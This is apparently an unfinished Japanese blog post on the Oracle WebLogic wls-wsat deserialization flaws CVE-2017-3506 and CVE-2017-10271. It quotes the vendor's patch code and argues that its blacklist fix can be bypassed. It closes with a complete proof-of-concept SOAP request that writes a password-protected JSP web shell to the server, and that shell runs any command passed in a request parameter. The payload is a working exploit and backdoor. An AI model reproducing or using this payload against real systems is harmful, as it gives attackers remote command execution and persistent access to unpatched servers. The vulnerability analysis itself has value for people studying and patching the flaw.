
WebLogic wls-wsat RCE CVE-2017-10271
WebLogic wls-wsat RCE CVE-2017-10271
初期には、ハッカーがWebLogic WLSコンポーネントの脆弱性を利用して企業サーバーに対して大規模なリモート攻撃を仕掛け、多くの企業のサーバーが侵害され、攻撃を受けた企業数は明らかな増加傾向を示しており、高度な警戒が必要です。その中で、CVE-2017-3506はOracle WebLogicのWLSコンポーネントを利用したリモートコード実行の脆弱性であり、詳細が公開されていない野外利用の脆弱性で、多くの企業がまだ適時にパッチを適用していません。公式は2017年4月にこの脆弱性のパッチをリリースしました。
CVE-2017-3506パッチの説明:
public WorkContextXmlInputAdapter(InputStream is)
{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try
{
int next = 0;
next = is.read();
while (next != -1)
{
baos.write(next);
next = is.read();
}
}
catch (Exception e)
{
throw new IllegalStateException("Failed to get data from input stream", e);
}
validate(new ByteArrayInputStream(baos.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
}
private void validate(InputStream is)
{
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try
{
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()
{
public void startElement(String uri, String localName, String qName, Attributes attributes)
throws SAXException
{
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
}
catch (ParserConfigurationException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (SAXException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (IOException e)
{
throw new IllegalStateException("Parser Exception", e);
}
}
ただ、逆直列化の前にvalidate関数を追加しただけで、qNameがobjectに等しい場合に例外をスローして終了します。単純かつ強引とも言えますが、このブラックリスト方式の修正では完全に修正することは難しいです。深く考える価値があります…
この脆弱性の悪用方法は比較的簡単で、攻撃者は細工したHTTPリクエストを送信するだけでターゲットサーバーの権限を取得でき、被害は甚大です。脆弱性が新しいため、現在も多くのホストが関連パッチを適用していません。今回の突発的な出来事の後、攻撃イベントの数が急増し、多数の新規ホストが侵害される可能性が高いと予想されます。
Oracle公式の4月のパッチではCVE-2017-3506の脆弱性の修正が不完全で、パッチを回避して依然としてリモートコマンドを実行できます。CVE-2017-10271の現在の回避脆弱性は、公式が10月にリリースしたパッチで修正されています。
CVE-2017-3506 (wls-wsat リモートコマンド実行の脆弱性) CVE-2017-10271 (wls-wsat リモートコマンド実行の回避の脆弱性)
Oracle WebLogic Server10.3.6.0.0 バージョン Oracle WebLogic Server12.1.3.0.0 バージョン Oracle WebLogic Server12.2.1.1.0 バージョン Oracle WebLogic Server12.2.1.2.0 バージョン
Poc:
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test1111111111.jsp</string><void method="println"><string><![CDATA[<% if("secfree".equals(request.getParameter("password"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
} %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
書き終わっていませんが、用事があって出かけました。。。。